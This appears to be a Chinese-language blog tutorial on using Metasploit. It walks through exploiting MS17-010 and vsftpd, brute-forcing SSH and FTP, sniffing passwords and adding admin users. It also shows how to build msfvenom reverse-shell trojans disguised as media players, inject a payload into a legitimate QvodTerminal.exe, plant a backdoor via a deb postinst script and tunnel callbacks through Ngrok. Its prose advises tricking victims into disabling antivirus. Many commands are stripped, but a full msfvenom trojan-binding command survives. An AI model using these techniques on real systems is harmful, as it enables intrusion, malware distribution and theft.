Metasploit是一个免费的,可下载的框架,通过它可以很容易对计算机软件漏洞实施攻击,它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。当H.D.Moore在2003年发布Metasploit时,计算机安全状况也被永久性的改变了,仿佛一夜之间,任何人都可以成为黑客,每个人都可以使用攻击工具来攻击那些未打过补丁或者刚刚打过补丁的漏洞,软件厂商再也不能推迟发布针对已公布漏洞的补丁了。这是因为Metasploit团队已知都在努力开发各种攻击工具,并将它们贡献给所有Metasploit用户。
Metasploit的设计初衷是打造成一个攻击工具开发平台
官网
- 基础库:metasploit基础库文件位于源码根目录路径下的libraies目录中,包括Rex,framework-core和framework-base 三部分。
Rex是整个框架所依赖的最基础的一些组件,如包装的网路套接字,网络应用协议客户端与服务端实现,日志子系统,渗透攻击支持例程,PostgreSQL以及MySQL数据库支持等;
framework-core库负责实现所有与各种类型的上层模块及插件的交互接口;
framework-base库扩展了framework-core,提供更加简单的包装例程,并为处理框架各个方面的功能提供了一些功能类,用于支持用户接口与功能程序调用框架本身功能及框架集成模块;
- 模块:模块组织按照不同的用途分为6种类型的模块(Modules):
分为辅助模块(Aux)、渗透攻击模块(Exploits)、后渗透攻击模块(Post)、攻击载荷模块(payloads)、编码器模块(Encoders)、空指令模块(Nops)。
注:payload又称为攻击载荷,主要用来建立目标机与攻击机稳定连接的,可返回shell,也可以进行程序注入等。
插件:插件能够扩充框架的功能,或者组装已有功能构成高级特性的组件,插件可以集成现有的一些安全工具,如Nessus、OpenVAS漏洞扫描器等,为用户接口提供一些新的功能。
接口:包括msfconsole控制终端、msfcli命令行、msfgui图形化界面、armitage图形化界面以及msfapi远程调用接口。
功能程序:metasploit还提供了一系列可直接运行的功能程序,支持渗透测试者与安全人员快速的利用metasploit框架内部能力完成一些特定任务。比如msfpayload、msfencode和msfvenom可以将攻击载荷封装为可执行文件,C语言,javaScript语言等多种形式,并可以进行各种类型的编码。
Metasploit目录结构
切换到Metasploit工作目录
data: Metasploit使用的可编辑文件
documentation:为框架提供文档
lib:框架代码库
modules:实际的MSF模块
plugins:可以在运行时加载的插件
script:Meterpreter和其它脚本
tools:各种有用的命令行工具
Metasploitable2-Linux 靶机系统介绍
Metasploitable2靶机介绍
Metasploitable2 虚拟系统是一个特别制作的ubuntu操作系统,本身设计作为安全工具测试和演示常见漏洞攻击,版本2已经可以下载,并且比上一个版本包含更多可利用的安全漏洞,这个版本的虚拟系统兼容VMware,VirtualBox和其他虚拟平台。
网上找这个靶机的虚拟机文件,用vmware打开就行了
Metasploit 基本使用方法
Metasploit基本命令
Metasploit程序需要使用Postgresql数据库
Postgresql概述:
PostgreSQL是一种特性非常齐全的自由软件的对象-关系型数据库管理系统(ORDBMS),是以加州大学计算机系开发的POSTGRES 4.2版本为基础的对象关系型数据库管理系统。
官网:https://www.postgresql.org/
注:PostgreSQL:世界上最先进的开源关系数据库
扩展:PostgreSQL和MySQL数据的应用场景区别:
从应用场景来说,PostgreSQL更加适合严格的企业应用场景(比如金融、电信、ERP、CRM),而Mysql更加适合业务逻辑相对简单、数据可靠性要求较低的互联网场景。
在kali上手动启动数据库
1 |
|
命令行输入msfconsole
启动完成后会有一些统计信息,比如说版本号,有多少个exploits,多少个payloads等。
注:通过 help 查看帮助,可以对msf有个整体认识,可以看到msf相关命令可以分成以下类型:
Core Commands #核心命令。
Module Commands #模块命令
Job Commands #后台任务命令
Resource Script Commands #资源脚本命令
Database Backend Commands #数据库后端命令
Credentials Backend Commands #证书/凭证后端命令
Developer Commands #开发人员命令
常用命令
- 核心命令中的connect命令
connect命令主要用于远程连接主机,一般用于内网渗透,比较常用的命令就是“connect 192.168.1.1 80”
查看connect命令参数:
connect
连接目标80端口
连接后在另一行,直接输入get / 提交一个get请求,可以看到服务器版本号
- 模块相关的命令show使用方法
show命令用的很多
“show”命令的有效参数是:all,encoders,nops,exploits,payloads,auxiliary,post,plugins,info,options
列出metasploit框架中的所有渗透攻击模块,该命令列出数据较多,较为耗费时间。
show payloads #列出metasploit框架中所有攻击载荷
show auxiliary #列出metasploit框架中所有辅助攻击载荷
- 模块相关的命令search搜索的使用方法
当你使用msfconsole的时候,你会用到各种漏洞模块,各种插件等等,所以search搜索命令就很重要。
当你输入search -h会列出search命令的一些选项。
例1:通过name关键字进行查找
这里需要用到name:命令
search mysql #search后直接跟要查找内容,查的很广泛,只有当你对漏洞名字描述很清楚时,使用这个方法
例:先查找出自己想要的ms08-067漏洞模块。
每列的含义是
每一个漏洞利用模块基于它们对目标系统的潜在影响都被标记了一个Rank字段
用户可以基于Rank对漏洞利用模块进行搜索,分类以及排序
Rank 按照可靠性降序排列:
excellent:漏洞利用程序绝对不会使目标服务崩溃,就像 SQL 注入、命令执行、远程文件包含、本地文件包含等等。除非有特殊情况,典型的内存破坏利用程序不可以被评估为该级别。
great:该漏洞利用程序有一个默认的目标系统,并且可以自动检测适当的目标系统,或者在目标服务的版本检查之后可以返回到一个特定的返回地址。“
good:该漏洞利用程序有一个默认目标系统,并且是这种类型软件的“常见情况”(桌面应用程序的Windows7,服务器的2012等)
normal:该漏洞利用程序是可靠的,但是依赖于特定的版本,并且不能或者不能可靠地自动检测。
average:该漏洞利用程序不可靠或者难以利用。←
low:对于通用的平台而言,该漏洞利用程序几乎不能利用(或者低于 50% 的利用成功率)
manual:该漏洞利用程序不稳定或者难以利用并且基于拒绝服务(DOS)。如果一个模块只有在用户特别配置该模块的时候才会被用到,否则该模块不会被使用到,那么也可以评为该等级。
例2:通过路径进行查找
有时候,我们只记得模块的路径,但是却忘记了模块的名称,那么就可以用path:命令查找在该路径下的所有模块,如果我要mysql路径下的所有mysql利用模块,那么就输入search path:mysql
例3:缩小查询范围
关键字:platform
作用:Modules affecting this platform 即:列出可以影响此平台的模块,也就是比较好的漏洞
有时候我们会搜索到大量的模块,那么可以用platform:命令来缩小查询范围,使用platform命令后,所查询的结果会列出rank比较高的模块,如果我要查找mysql的漏洞,那么就输入:search platform:mysql
例4:通过类型进行查找
这里要使用到type:命令
type:特定类型的模块(exploit, payload, auxiliary, encoder, evasion, post, or nop)
要搜索exploit模块,那么就输入:
search type:exploit
例5:联合查找
大家可以使用上面的参数自行搭配使用,如果我要查找mysql的exploit相关漏洞,那么输入:search name:mysql type:exploit
例6:根据CVE搜索exploit相关模块
CVE概述:CVE的英文全称是”Common Vulnerabilities & Exposures” 公共漏洞和暴露。
CVE就好像是一个字典表,为广泛认同的信息安全漏调或者己经暴露出来的开点给出一个公共的名称。使用一个共同的名字,可以帮助用户在各自独立的各种漏洞数据库中和漏洞估工具中共享数据,虽然这些工具很难整合在一起。这样就使得 CVE成为了安全信息共享的“关键字”。如果在一个漏洞报告中指明的一个漏洞,如果有 CVE 名称,你就可以快速地在任何其它 CVE 兼容的数据库中找到相应修补的信息,解决安全问题。
事情背景:
2017年Github上公开了CVE-2017-8464漏洞的metasploit-framework利用模块,利用此模块在windows 10 x64(Build 14393)版本上测试有效。
现在此模块已经加入metasploit中了。
通过执行cve_2017_8464_lnk_rce.rb模块,将生成大量的.lnk文件(对应盘符从D到Z)和要加载的.dll文件(后门文件)。将所有样本文件拷贝到U盘里,然后将U盘插到windows7机器上,默认自动执行:
从而可以让我们可以远程执行命令。
查找:CVE-2017-8464远程命令执行漏洞
search cve:CVE-2017-8464 type:exploit
- 模块相关的命令use的使用方法
use使用参数,如你要使用到某个模块,就要使用到use命令
语法:use模块的名字
实战背景:
2008年微软爆出ms08_067漏洞,如果用户在受影响的系统上收到特制的RPC请求,则该漏洞可能允许远程执行代码。在Microsoft Windows 2000、Windows XP和Windows Server 2003系统上,攻击者可能未经身份验证即可利用此漏洞运行任意代码。此漏洞可能用于进行蠕虫攻击。
1》先查找出自己想要的ms08_067漏洞模块。
1 |
|
metasploit支持模糊查找,不区分大小写
2》转载一个渗透攻击模块
我们可以看到使用use装载模块后我们的bash提示符会变成对应的模块信息,稍后我们使用这个模块进行攻击。
也可以back退出当前调用的模块
3》模块相关的命令info的使用方法
info:显示模块的相关信息
方法1:info 模块名称
1 |
|
方法2:use装载模块后直接使用info
1 |
|
从弹出的消息中,需要重点关注的内容是:
- 可用目标,就是查看可以攻击哪些操作系统
- Basic options:调用漏洞需要的相关参数
- 漏洞描述和执行过程:
- 参考文档
方法2:使用show命令查看模块的相关信息
show options #查看模块的选项
show targets #查看可以攻击哪些操作系统
设置RHOSTS参数,指定攻击的目标机器
set RHOSTS 192.168.201.130
show options #查看设置的值
配置好了之后我们输入 exploit 或 run 就可以执行该模块。
msf5 exploit(windows/smb/ms08_067_netapi) > back #使用 back 即可退出装载的模块
注:不要使用 exit,exit 会直接退出 Metasploit 程序
实战-使用msf渗透攻击win7主机并远程执行命令
环境介绍
永恒之蓝概述:
永恒之蓝是指2017年4月14日晚,黑客团体Shadow Brokers(影子经纪人)公布一大批网络攻击工具,其中包括“永恒之蓝”工具,“永恒之蓝”利用windows系统的SMB漏洞可以获取系统最高权限。5月12日,不发分子通过改造“永恒之蓝”制作了wannacry勒索病毒,英国、俄罗斯,整个欧洲以及中国多个高校校内网、大型企业内网和政府机构专网中招,被勒索支付高额赎金才能解密恢复文件。
win7是2009年发布
官方描述
https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/2017/ms17-010
永恒之蓝相关病毒,其实是利用了微软的MS17-010漏洞。MS17-010是Windows 系统一个底层服务的漏洞,恶意代码会扫描开放 445 文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。
通过msf模块获取win7主机远程shell
我们先扫描目标是否存在ms17-010漏洞
1 |
|
使用use使用这个模块
查看模块需要配置的信息
需要我们配置RHOST主机IP
1 |
|
开始扫描 run
目标看起来易受攻击,也就表示可能存在相关漏洞。
查找攻击模块
1 |
|
使用use命令加载模块
1 |
|
看看rhosts有无目标机
1 |
|
如无目标机,则
1 |
|
查看exploit target目标类型
1 |
|
默认就好了,不需要手动设置
找一个payload,获取shell远程连接权限后,进行远程执行命令
1 |
|
注:payload又称为攻击载荷,主要用来建立目标机与攻击机稳定连接的,可返回shell,也可以进行程序注入等。
我们挑选一个反弹shell的payloads
注:设置的时候payload和windows之间有空格。
1 |
|
查看一下payloads需要配置什么信息
1 |
|
设置一下本机payload监听地址
如果lhost中为空,则需要填kali机的ip
1 |
|
配置完成后开始执行
exploit 或 run 命令
等待一会就会出现shell,如果没出现敲一下回车就好
创建用户
1 |
|
显示乱码但是已经添加成功
拓展:解决乱码问题(乱码是因为windows和linux的编码不一样导致的)
提权
将创建好的用户拉进超级管理组
1 |
|
1 |
|
可以看到已经成功提权进本地管理员组了。
查看拿到的用户权限
关闭连接ctrl+c
实战:通过会话进行连接目标机
exploit -j
-j表示后台执行 渗透目标完成后会创建一个session我们可以通过session连接目标主机
1 |
|
通过会话ID进入会话
1 |
|
退出会话将会话保存到后台
1 |
|
sessions
根据会话ID结束会话
1 |
|
杀死进程,就没有这个session了
总结使用 metasploit 攻击的步骤:
1、查找 CVE 公布的漏洞
2、查找对应的 exploit 模块
3、配置模块参数
4、添加 payload 后门
5、执行 exploit 开始攻击
Metasploit 渗透测试之信息收集
基于tcp协议收集主机信息
我们前面学习了主动信息收集和被动信息收集,而且还学习了漏洞检测工具NESSUS,下面学习使用Metasploit来对目标进行信息收集,这个过程包含了前面所有的方式以及多了一些更加极端的获取信息方式,比如获取服务器的硬件信息,系统用户信息,进程信息等。
使用metasploit中的namp和arp_sweep收集主机信息
Metasploit中也有NMAP工具
1 |
|
ARP扫描
1 |
|
查看一下模块需要配置哪些参数
1 |
|
配置RHOSTS(扫描的目标网络)即可
1 |
|
shost和smac是伪造源IP和MAC地址使用的
配置线程数
1 |
|
使用半连接方式扫描TCP端口
1 |
|
1 |
|
查看配置项
1 |
|
设置扫描的目标
1 |
|
设置端口范围使用逗号隔开
1 |
|
设置线程数
1 |
|
使用auxiliary/sniffer 下的psnuffle模块进行密码嗅探
实验拓扑图:
1 |
|
查看psnuffle的模块作用
1 |
|
Description:
This module sniffs passwords like dsniff did in the past #这个 psnuffle 模块可以像以前的 dsniff 命令一样,去嗅探密码,只支持 pop3、imap、ftp、HTTP GET 协议。
1 |
|
新建一个终端窗口登录ftp,Metasploittable2-Linux靶机中已经开启了ftp服务可以直接登录
1 |
|
连接成功后,进行下数据交互,查看ftp目录下的文件
回到MSF终端可以看到用户名密码信息已经被获取
嗅探完成后记得把后台任务关闭
1 |
|
基于SNMP协议收集主机信息
简单网络管理协议SNMP,由一组网络管理的标准组成,包含一个应用层协议(application layer protocol)、数据库模型(database schema)和一组资源对象。该协议能够支持网络管理系统,用以监测连接到网络上的设备是否有任何引起管理上关注的情况。
我们使用 root 用户先到 Metasploitable2-Linux 主机上修改一下 SNMP 服务,因为默认服务是
不对外开放的。
1 |
|
实战-使用snmp-enum模块通过snmp协议扫描目标服务器信息
1 |
|
注:可以看到通过snmp协议探测到的信息非常多。如服务器硬件信息和服务器当前运行的进程,这两方面是其他扫描方式获取不到的。
基于SMB协议收集信息
SMB概述:服务器消息块(Server Message Block,缩写为SMB),又称网络文件共享系统CIFS,一种应用层网络传输协议,由微软开发,主要功能是使网络上的机器能够共享计算机文件、打印机、串行端口和通讯等资源。
经过Unix服务器厂商重新开发后,它可以用于连接Unix服务器和Windows客户机,执行打印和文件共享等任务。
使用smb_version 基于SMB协议扫描版本号
1 |
|
注:可以扫描出来操作系统的版本号,版本号很准确
使用smb_enumshares基于SMB协议扫共享文件(账号、密码)
我们到Windows中启用一下共享服务。
新建文件夹fffck,设为共享
枚举共享
1 |
|
可以看到有1个是我们前面设置的fffck共享文件目录还有隐藏的共享目录
使用smb_lookupsid扫描用户信息(SID枚举)
我们在Win7上新建一个用户,这里我用的yasuo
注:SID是Windows中每一个用户的ID,更改用户名SID也是不会改变的
1 |
|
基于SSH协议收集信息
查看ssh服务的版本信息
1 |
|
SSH暴力破解
1 |
|
基于FTP协议收集信息
查看ftp服务的版本信息
加载ftp服务版本扫描模块
1 |
|
查看设置参数
1 |
|
设置目标IP,可以设置多个
1 |
|
执行扫描run或exploit
扫描出结果是:vsFTPd2.3.4
back
扫描出ftp服务的版本号,我们可以尝试搜索版本号,看看有没有可以利用的模块
1 |
|
发现存在一个exploit模块,而却这个版本的ftp服务存在一个后门
我们尝试利用下这个模块
1 |
|
1 |
|
我们拿到了shell,而且是root权限,我们尝试输入命令
ftp匿名扫描登录
1 |
|
1 |
|
ftp暴力破解
1 |
|
1 |
|
制作Windows和Linux客户端恶意软件进行渗透
客户端渗透原理
在我们在无法突破对方的网络边界的时候,往往需要使用客户端渗透这种方式对目标发起攻击,比如我们向目标发一个含有后门的程序,或者是一个word文档、pdf文件。想要达到效果同时也要利用好社会工程学,来诱骗受害者执行恶意程序。
客户端渗透技巧,通常用户的计算机都安装了安全软件,一般我们生成的恶意程序都会被检测,所以我们所设计的恶意软件可以利用人的劣根性。比如我们将恶意软件或网站伪装成色情软件或网站,这样目标会认为他本身就是不好的软件被安全软件检测是很正常的事情,如果他按捺不住关闭防护软件执意要运行恶意程序,那么他就中招了,当然这种取巧的方法并不能解决所有问题,我们要利用免杀来躲避安全软件的查杀。
制作Windows恶意软件获取shell
msfvenom是msfpayload,msfencode的结合体,可利用msfvenom生成木马程序,并在目标机上执行,在本地监听上线。
实验过程:
生成西瓜影音.exe后门程序
使用一个编码器
1 |
|
参数说明:
-a:指定架构如x86 x64。x86代表32位,x64代表64位。32位软件可以在64位系统上运行。所以我们生成32位的侯梦,这样在32位和64位系统中都可以使用。
-platform:指定平台,这里选择windows,通过 msfvenom –l platforms可以查看所有支持的平台
-p:设置攻击载荷,我们使用windows/meterpreter/reverse_tcp,可以通过-l payloads查看所有攻击载荷
LHOST:目标主机执行程序后连接我们kali的地址
LPORT:目标主机执行程序后连接我们kali的端口
-b:去掉坏字符,坏字符会影响payload正常执行
扩展:\x00 代表 16 进制的“00”组成的字符串。通过 ASCII 码换成能识别的就是:”00” -
“00000000” - NUL。由于”00000000”是不可见字符,所以代码中没用。-e:指定编码器:也就是所谓的免杀,x86/shikata_ga_nai 是 msf 自带的编码器,可以通过msfvenom -l encoders查看所有编码器,x86/shikata_ga_nai是最优的excellent
-i:指定payload有效载荷编码迭代次数,指定编码加密次数,为了让杀毒软件,更难查出源代码
-f:指定生成格式,可以是raw,exe,elf,jar,c语言的,python的,java的。。。用-l formats查看所有支持的格式
-o:指定文件名称和导出位置,指定到网站根目录/var/www/html,方便在肉鸡上下载后门程序
在MSF上启动handler开始监听后门程序
1 |
|
需要启动apache服务
在靶机上访问浏览器192.168.201.131/西瓜影音2.exe
使用 virustotal 检测下生成后门的免杀能力,VirusTotal.com 是一个免费的病毒,蠕虫,木马和各种恶意软件分析服务,可以针对可疑文件和网址进行快速检测,最初由Hispasec维护。它与传统杀毒软件的不同之处是它通过多种杀毒引擎扫描文件。使用多种反病毒引擎可以令用户们通过各杀毒引擎的侦测结果,判断上传的文件是否为恶意软件。
网址
可以看到它对20个杀毒软件免杀,但大部分还是绕不过
在靶机上双击启动病毒文件,这时我们成功拿到shell
在 MSF 终端查看建立的 session
Shell 中输入 ipconfig 查看 win7 主机的 IP 地址。
dir #查看当前目录下的内容
将会话保存到后台,方便以后使用
1 |
|
模拟黑客给真正的快播软件加上后门
- 先下载一个正常的快播软件
解开这个包后,找到QvodTerminal.exe 。
先查看主程序会调用哪些附加的小程序,然后把 payload 后门和这些小程序绑定到一起。当然也可
以直接加到主程序上,但是加主程序上,有时报错。
当 QvodPlayer.exe 主程序运行时,会自动调用 QvodTerminal.exe 这个小程序。
通过任务管理器进程可知
上传QvodTerminal.exe到kali上
对QvodTerminal.exe注入payload后门程序
1
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.201.131 LPORT=4444 -b"\x00" -e x86/shikata_ga_nai -i 10 -x QvodTerminal.exe -f exe -o /var/www/html/QvodTerminal.exe
使用绑定了后门的 QvodTerminal.exe 替换原来的 QvodTerminal.exe
在 win7 虚拟机上下载绑定了后门的 QvodTerminal.exe
在浏览器上访问:http://192.168.201.131/QvodTerminal.exe 下载 QvodTerminal.exe
将下载的 QvodTerminal.exe 替换原文件中的 QvodTerminal.exe在kali上开始监听后门
1 |
|
- 打开快播主程序
跳出窗口,运行即可
- 在kali上查看会话已经建立了,说明后门运行成功了
- 提权,等等操作
1 |
|
外网渗透
外网是连接不同地区局域网或城域网计算机通信的远程网。通常跨接很大的物理范围,所覆盖的范围从几十公里到几千公里,它能连接多个地区、城市和国家,或横跨几个洲并能提供远距离通信,形成国际性的远程网络。广域网并不等同于互联网。
处于不同局域网的两台主机是不能够互相ping通的,所以必须将攻击者的ip映射到公网上,这样受害机运行木马才能够反弹shell。
内网穿透是我们在进行网络连接时的一种术语,也叫做NAT穿透,即在计算机是局域网内的时候,外网与内网的计算机的节点进行连接时所需要的连接通信,有时候就会出现内网穿透不支的情况。内网穿透的功能就是,当我们在端口映射时设置时,内网穿透起到了地址转换的功能,也就是把公网的地址进行翻译,转成为一种私有的地址,然后再采用路由的方式ADSL的宽带路由器,具有一个动态或者是固定的公网IP,最后ADSL直接在交换机上,这样所有的电脑都可以共享上网。内网穿透除了可以实现内网之间机器的网络通信功通之外。
一旦获得了对系统的访问权限,攻击者可以进行侦听,横向移动及尝试提升特权,达到窃取系统或数据库中敏感数据的目的,对服务器安全乃至内网安全的危害不言而喻。
这里我们到Sunny-Ngrok内网穿透服务使kali主机与Sunny-Ngrok公网服务器连接,这样处于不同局域网的主机访问Sunny-Ngrok给出的TCP隧道,数据将会传回kali主机。
Sunny-Ngrok提供免费内网穿透服务,免费服务器支持绑定自定义域名
但是并不好用,这里我选择收费包
进入Ngrok网站注册一个用户
Sunny-Ngrok内网转发内网穿透 - 国内内网映射服务器开启TCP通道
- 下载Ngrok客户端
根据攻击机系统情况下载客户端版本(这里下载Linux 64bita版本)
把下载好的Ngrok压缩包存放到kali的root目录下
命令解压缩:unzip linux_amd64
进入解压好的目录:
1 |
|
启动隧道映射TCP服务:
位置在隧道管理处可以看到命令
执行命令即可
- MSF生成外网木马程序
注意:这里lhost和lport分别为赠送的域名和端口
1 |
|
lhost填TCP隧道上面的域名,lport填TCP域名后面的端口
- 打开msf设置payload,加载攻击模块设置本地IP和监听端口
msfconsole
1 |
|
- 转发生成的木马程序给目标机运行-目标机运行木马-反弹shell-操控目标机
done
使用metasploit的evasion模块生成后门木马
evasion是metasploit自带的模块,使用此模块可以生成反杀毒软件的木马
1 |
|
使用 evasion/windows/windows_defender_exe 这个模块
1 |
|
配置文件名参数即可
1 |
|
设置payload
1 |
|
设置本地监听IP和端口
1 |
|
开启监听后门木马
1 |
|
这个失败了,应该是生成木马脚本问题,点击tiktok后没有获得shell,而且目标机没有tiktok这个进程
实战-制作Linux恶意软件获取shell
- 使用msfvenom生成linux可执行文件
1 |
|
参数和生成windows差不多
- –platform:指定linux
-f:指定elf即linux操作系统的可执行文件类型
-b:去掉坏字符
- MSF配置监听
1 |
|
打开centos
下载后门
1 |
|
添加执行权限
1 |
|
执行程序
1 |
|
实战-制作恶意deb软件包来触发后门
制作恶意软件包使用–download-only 方式下载软件包不进行安装
注:freesweep
1 |
|
将软件包移动到root目录
1 |
|
解压软件包到free目录
1 |
|
生成恶意代码到软件包源文件中
1 |
|
拓展:生成软件包时无论时payload和软件包信息都需要选择能够在目标操作系统上执行的。
创建软件包信息目录
1 |
|
创建软件包的信息文件
1 |
|
创建deb软件包,安装后脚本文件,来加载后门
1 |
|
sudo /usr/games/freesweep_sources是我们要执行的恶意代码
& 是将命令放到后台运行
给脚本文件添加执行权限
1 |
|
构造新的deb安装包
1 |
|
注:会在当前目录下生成构建的软件包 freesweep.db ,我们当前的目录是/root
新打开一个终端 CTRL+SHIFT+T,生成 MSF 监听
1 |
|
这里最好是在 Kali 中执行如果再 XSHELL 中执行可能会导致窗口卡死。
在另一台kali或ubantu上打开
1 |
|
又是一个神奇的问题,能连接上但是获取不到shell权限🆒
卸载软件包
1 |
|
利用0day双杀-java环境-宏感染-安卓客户端进行渗透
利用0 DAY漏洞CVE-2018-8174获取shell
- 安装CVE-2018-8174_EXP
https://github.com/Yt1g3r/CVE-2018-8174_EXP
- 生成恶意html文件
1 |
|
参数说明:
-u:URL地址,恶意html文件hack.html的访问地址
-o:生成文档
-i:监听地址
-p:监听端口
恶意html文件生成成功
由于用的是python2,这里我移步centos上生成
将恶意html文件移动到网站根目录
1
2cp exploit.html /var/www/html
cp hack.rtf /var/www/html新打开一个终端ctrl+shift+t,生成MSF监听
1 |
|
- 受害者点击恶意链接
进入win7,打开IE或者是IE内核的浏览器,比如360浏览器,访问恶意链接
也许是网络问题把,吐了。。。。